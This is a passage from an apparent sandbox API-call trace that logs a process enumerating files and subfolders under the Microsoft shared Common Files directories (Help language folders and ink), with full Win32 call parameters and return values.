Files\\microsoft shared\\Help\\1031\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.311] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.311] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.311] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.311] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0152.312] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.312] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.312] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.312] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.312] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0152.312] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.312] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.312] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.313] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.313] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0152.313] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.313] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.313] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.313] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.313] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0152.314] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.314] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.314] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.314] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.314] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0152.314] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.314] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.315] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.315] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.315] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0152.315] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.315] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.315] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.315] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.316] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0152.316] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.316] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.316] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.316] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.316] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0152.316] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.316] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.317] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.317] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.317] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0152.317] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.317] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.317] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.317] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.318] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x323, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxC", cAlternateFileName="")) returned 1 [0152.318] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0152.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0152.318] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0152.318] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0152.319] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.319] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0152.319] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", lpFindFileData=0x327f094 | out: 